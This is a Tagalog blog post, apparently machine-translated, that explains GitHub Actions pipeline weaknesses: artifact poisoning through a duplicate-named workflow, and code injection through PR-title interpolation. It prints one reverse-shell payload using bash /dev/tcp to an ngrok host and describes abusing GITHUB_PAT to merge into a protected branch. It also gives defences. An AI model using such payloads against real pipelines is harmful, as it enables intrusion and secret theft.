Sa mga nakaraang post (tingnan ang Hindi Direktang Nalason Pipeline Pagpapatupad I-PPE at Nakalason Pipeline PPE para sa Pagpatay , ang aming tinalakay ay halos tungkol sa PPE (Poisoned Pipeline (Pagpatupad): nakita natin kung paano ito gumagana, ang mga epekto nito, ilang pagsasamantala pati na rin ang ilang mga paraan upang maprotektahan laban dito.
Malalim na tinatalakay ng post na ito ang ilan pang iba CI/CD pipeline mga kahinaan tulad ng Artifact Poisoning at Code Injection.
Para magawa ito, ibabatay natin ito sa PPE kaya gumawa tayo ng maikling buod ng ating nakita tungkol sa PPE.
Nakaraang trabaho sa PPE
Bilang buod, nagsimula tayo sa isang pangunahing GitHub pipeline upang bumuo at subukan ang iniambag na code sa pamamagitan ng isang pull requestBukod dito, tinutukoy nito ang ilang mga tseke na, kung matutugunan, ay magsasama ng code sa mainstream branch. Pinangalanan namin ito bilang Senaryo #1.
Sa aming nakaraang post, ipinakita namin kung paano ang pangunahing ito pipeline ay mahina sa parehong D-PPE at I-PPE.
Nagawa naming ayusin ang D-PPE by pagbabago ng kaganapan ng gatilyo mula hilahin_kahilingan sa pull_request_target, paggawa ng pipeline ligtas sa D-PPE. Bilang paalala, pipelineAng s na na-trigger sa isang pull_request_target event ay isasagawa ang base pipeline kodigo, hindi ang pipeline kodigo na nakapaloob sa pull request.
Pinangalanan namin ito bilang Senaryo #2.
Bilang resulta ng pagbabagong ito, ipinakita namin na Ang Senaryo #2 ay mahina pa rin sa I-PPE.
Para maayos ito, napagpasyahan namin upang hatiin ang pipeline sa dalawa:
- Ang 1st pipeline (Bumuo ng CI) gagawin tingnan ang PR code (para mabuo ito), gawin ang build at bumuo ng isang artifact.
- Ang 2nd pipeline (Pagsubok CI) gagawin tingnan ang Base code (upang maiwasan ang pagbabago sa shell script) at isagawa ang mga orihinal na script laban sa artifact.
- Para i-synchronize ang Test CI pipeline para tumakbo PAGKATAPOS ng Build CI pipeline, gagamitin natin ang daloy ng trabaho gatilyo
Pinangalanan namin ito bilang Senaryo #3.
Ibalik natin ang code ng pareho pipelineayon sa mga pagbabagong ito…
1st pipeline (Bumuo ng CI):
2nd pipeline (Pagsubok CI):
Pagkalason sa Artifact
Ayon sa itaas CI/CD pipelines:
- pipeline Bumuo ng CI is ligtas Sa pareho D-PPE (dahil sa pull_request_target) At I-PPE (dahil hindi na nito isinasagawa ang shell script).
- pipeline Pagsubok CI ding ligtas Sa pareho D-PPE (dahil sa daloy ng trabaho) At I-PPE (dahil sinusuri nito ang base code upang makuha ang orihinal na script ng shell)
Suriin natin nang malalim ang "solusyon" na ito.
Pipeline Pagsubok CI Dina-download ang artifact bilang isang zip file.
Kapag na-unzip na, isasagawa nito ang "safe" shell script. Bakit ko sinasabing "safe" shell script? Dahil sa isang nakaraang hakbang, ang pipeline sinusuri ang "base" code, kaya ang orihinal na script ay inilalagay sa workspace folder. Samakatuwid, kapag ang pipeline isinasagawa ang shell script na patatakbuhin nito gamit ang binary na naunang na-download.
Pagkatapos, ano ang problema sa ganitong paraan? Ang problema ay dumarating kapag ang sinumang gumagamit ay "lumikha" ng bago pipeline.
Kung magbubukas ang isang user ng PR na naglalaman ng bago pipeline, isasagawa iyan ng GitHub pipeline (kung isasaalang-alang ang ilang mga kundisyon, gaya ng nakita natin sa nauna magpaskil).
Dahil dito, paano kung ang gumagamit ay lumikha ng bago pipeline na may parehong pangalan gaya ng Build CI? Oo, nakakagulat, pero Pinapayagan ka ng GitHub na lumikha ng dalawa pipelinemay parehong pangalan!!
Tandaan na ang Test CI ay isasagawa pagkatapos ng Build CI…
Nakakagulat, dahil mayroon na ngayong dalawang pipelines na may parehong pangalan, ang pipeline Ang Test CI ay isasagawa nang dalawang beses: isa pagkatapos ng orihinal pipeline at iba pa pagkatapos ng "bago" pipeline.
Paano ito mapapakinabangan ng hacker?
- Una, maaaring baguhin ng malisyosong gumagamit ang shell script upang ipadala ang sikreto sa server na kontrolado ng hacker.
- Pangalawa, ang bago pipeline may kasamang linya para kopyahin ang binagong shell script papunta sa artifact → pagkalason sa artifact!!!
Kapag nagbukas ang gumagamit ng PR na may mga pagbabagong ito, ang "bago" pipeline ay isasagawa (pag-upload ng isang lason na artifact) at ang Deploy CI pipeline ay isasagawa pagkatapos noon, na magreresulta sa Pinapalitan ng "binagong" shell script ang "orihinal" na shell script na matatagpuan sa pipeline lugar ng trabaho.
Ito ang tawag namin Pagkalason sa Artifact, ibig sabihin, ang kakayahang baguhin (hack) ang pipeline lohika sa pamamagitan ng pagbabago ng isang pipeline artepakto.
Isang posible remediation ay medyo diretso: Ang pag-unzip lang ng artifact sa isang subfolder ng workspace ay makakaiwas sa pag-overwrite ng "base" shell script.
Code Iniksyon
Bukod sa pagkalason sa artifact, may nakikita ka bang ibang kahinaan sa code sa itaas?
Tara na!!
Gaya ng makikita mo sa code, pipeline Binubuo ng Build CI ang binary, ina-upload nito ang binary bilang isang pipeline artifact at, bukod pa rito, nag-a-upload ito ng ilang karagdagang data: ang PR Title at ang PR Id.
Bakit? Dahil para pagsamahin ang PR, gaya ng makikita mo sa ibaba, ang Test CI pipeline kailangan ang PR id para ma-invoke ang GitHub REST API na siyang magme-merge ng PR.
Paano gumagana ang Test CI pipeline makuha ang PR ID na iyon? Pagbabahagi ng impormasyon sa mga text file (bahagi ng isang pipeline artifact) ay isang karaniwang paraan upang magbahagi ng impormasyon sa pagitan pipelines. At iyon mismo ang mga ito pipelineginagawa ng mga ito.
Sa mahigpit na pagsasalita, tanging ang PR Id lamang ang kailangan upang pagsamahin ang PR, ngunit ang pipeline Napagpasyahan ng admin na isama rin sa Build CI ang pamagat ng PR kaya ang Test CI pipeline Magpi-print ng ilang info message na naglalaman ng parehong PR Id at Title.
Ang Pamagat ng PR ay palaging datos na nagmumula sa gumagamit at, dahil dito, dapat palaging ituring na hindi mapagkakatiwalaan.. Kaya ang pipeline dapat hawakan nang ganito at gumawa ng mga hakbang sa pag-iingat.
Sa code sa itaas, makikita natin ang partikular na mensahe na umaalingawngaw sa Pamagat ng PR. Isa lamang itong utos na "echo" sa linux.
Sa pamamagitan ng string interpolation, kung ang pamagat ay "isang dummy title", ang Github ay bubuo ng isang script na naglalaman ng
Pero, paano kung ang pamagat ng PR ay ganito:
Nakakahamak na pamagat” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Ang iskrip ay magiging:
Nagreresulta sa pagbubukas ng reverse shell laban sa server na kontrolado ng hacker.
Maaaring gamitin ang reverse shell na iyon para ma-access ang pipeline mga sikreto (tandaan na ang Test CI ay tumatakbo sa privilege mode dahil ito ay na-trigger ng workflow_run kaya mayroon itong access sa mga sikreto).
Pero, ano pa nga ba ang magagawa sa pamamagitan ng reverse shell na iyan?
Tingnan ang CI Test code:
Gaya ng makikita mo sa Test CI pipeline, ang utos na curl merge ay gumagamit ng GITHUB_PAT (tinukoy bilang isang pipeline env var), kaya ang runner ay naglalaman ng GITHUB_PAT bilang isang environment variable. Bukod dito, lumilikha rin ito ng isang env var na nagbabasa ng PR ID.
Kaya kailangan lang kopyahin ng hacker ang utos na curl at i-paste ito sa reverse shell, na direktang pinagsasama ang PR sa protektadong branch.
Para maprotektahan ang lahat ng ito:
- Upang iwasan string interpolation na may hindi mapagkakatiwalaang datos (mahina laban sa iniksyon ng code) sa pamamagitan ng pagtukoy pipeline mga env vars sa halip na gamitin ito nang direkta sa mga utos ng echo
Sa halip na gamitin ang:
Gamitin mo to:
- Kahit na may code injection exploit, ang curl merge command ay hindi sana magtatagumpay kung ginawa mo ito nang maayos pinrotektahan ang iyong pull requests sa pamamagitan ng ilang mandatoryong pagsusuri o pag-apruba.
Konklusyon
Mahirap protektahan kahit papaano CI/CD pipelines configuration at kumuha pipelinewalang mga kahinaan.
Hindi ito nangangahulugan na CI/CD ang mga sistema (tulad ng GitHub sa kasong ito) ay mahina sa ganang sarili. CI/CD Ang mga sistema ay nagbibigay ng paraan upang maprotektahan laban sa mga kahinaan... ngunit responsibilidad ng admin na ipatupad ang mga proteksyong iyon.
Ngunit ... Hindi mo malulutas ang isang kahinaan hangga't hindi mo alam ang pag-iral nito!!!
Siyempre, maaaring nasa isip ng isang bihasang devops admin ang lahat ng mga banta na ito at maayos na protektahan ang CI/CD pipelines, ngunit, kahit na ganoon, napakahalagang gumamit ng isang produkto upang matukoy ang lahat ng ganitong uri ng mga kahinaan. At siyempre upang i-automate ang proseso ng pagpigil sa kahinaan na ito (halimbawa, pagpapatakbo ng pag-scan bilang bahagi ng CI/CD pipelines).
Ang pamamaraang ito ay maaaring tawaging "Tarangkahan ng Seguridad”:
- Gumawa ng bago pipeline (Security Gate) para suriin CI/CD pipelinemga kahinaan at gawin ang iba pang CI pipelineisasagawa lamang kapag matagumpay na nakumpleto ang Security Gate pipeline.
- Ang Tarangkahan ng Seguridad pipelinesusuriin ni s CI/CD pipelinemga kahinaan at,
- Kung may matagpuang mga vuln, mabibigo ito at, samakatuwid, ang isa pa pipelinehindi isasagawa ang s.
- Kung walang natagpuang mga vuln, ang pipeline magtatagumpay at ang iba pa pipelineGaganapin ang s gaya ng dati.
